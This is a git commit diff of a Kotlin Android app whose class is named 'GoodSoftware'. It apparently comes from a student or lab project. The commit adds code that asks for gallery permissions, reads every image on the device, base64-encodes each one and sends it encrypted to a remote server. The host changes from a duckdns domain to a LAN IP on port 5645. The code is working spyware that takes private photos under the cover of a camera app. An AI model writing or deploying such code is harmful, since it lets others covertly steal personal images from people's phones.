Get pictures from gallery, for now only android -13

This commit is contained in:
Joren 2024-05-02 11:35:46 +02:00
parent bca8ef25dd
commit 319e09a950
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -1,8 +1,13 @@
package com.ti.m package com.ti.m
import android.Manifest import android.Manifest
import android.content.ContentResolver
import android.content.ContentUris
import android.content.Context import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.net.Uri
import android.provider.MediaStore
import android.util.Base64 import android.util.Base64
import android.util.Log import android.util.Log
import androidx.camera.core.CameraSelector import androidx.camera.core.CameraSelector
@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) {
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_CAMERA_PERMISSION = 100
private val REQUEST_GALLERY = 101
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
private companion object { private companion object {
private const val RSA_ALGORITHM = "RSA" private const val RSA_ALGORITHM = "RSA"
@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) {
private fun startPictureCapture() { private fun startPictureCapture() {
activity.lifecycleScope.launch { activity.lifecycleScope.launch {
// Check and request camera permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission()
}
// Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
requestGalleryPermission()
}
// If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity) takeBeautifulPicture(activity, activity)
Thread {
val imageList = getAllImagesFromGallery(activity)
for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
sendDataToServer(base64Image)
}.start()
}
}.start()
} }
} }
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
var base64Image = ""
contentResolver.openInputStream(imageUri)?.use { inputStream ->
val byteArrayOutputStream = ByteArrayOutputStream()
inputStream.copyTo(byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
}
return base64Image
}
private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
// Handle permission request result // Handle permission request result
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
if (requestCode == REQUEST_CAMERA_PERMISSION) { when (requestCode) {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { REQUEST_CAMERA_PERMISSION -> {
startPictureCapture() if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
} else { startPictureCapture()
// Permission denied } else {
// You may want to handle this case // Camera permission denied
// Handle accordingly
}
}
REQUEST_GALLERY -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture()
} else {
// Gallery permission denied
// Handle accordingly
}
} }
} }
} }
@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) {
fun sendDataToServer(sendData: String) { fun sendDataToServer(sendData: String) {
try { try {
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "thinclient.duckdns.org" val host = "192.168.90.151"
val port = 5645 val port = 5645
val secureRandom = SecureRandom() val secureRandom = SecureRandom()
val keyBytes = ByteArray(16) val keyBytes = ByteArray(16)
@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) {
buffer.get(bytes) buffer.get(bytes)
byteArrayOutputStream.write(bytes) byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Log.d(picture.TAG, "Base64 Image: $base64Image") //Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread { Thread {
println("Sending data to server") println("Sending data to server")
sendDataToServer(base64Image) sendDataToServer(base64Image)
@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) {
object picture { object picture {
const val TAG = "CameraXBasic" const val TAG = "CameraXBasic"
} }
}
fun getAllImagesFromGallery(context: Context): List<String> {
val imageList = mutableListOf<String>()
val contentResolver: ContentResolver = context.contentResolver
val imageProjection = arrayOf(
MediaStore.Images.Media._ID,
MediaStore.Images.Media.DISPLAY_NAME
)
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
val cursor = contentResolver.query(
imageUri,
imageProjection,
null,
null,
"${MediaStore.Images.Media.DATE_ADDED} DESC"
)
cursor?.use { cursor ->
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
while (cursor.moveToNext()) {
val id = cursor.getLong(idColumn)
val contentUri = ContentUris.withAppendedId(imageUri, id)
imageList.add(contentUri.toString())
}
}
return imageList
}
}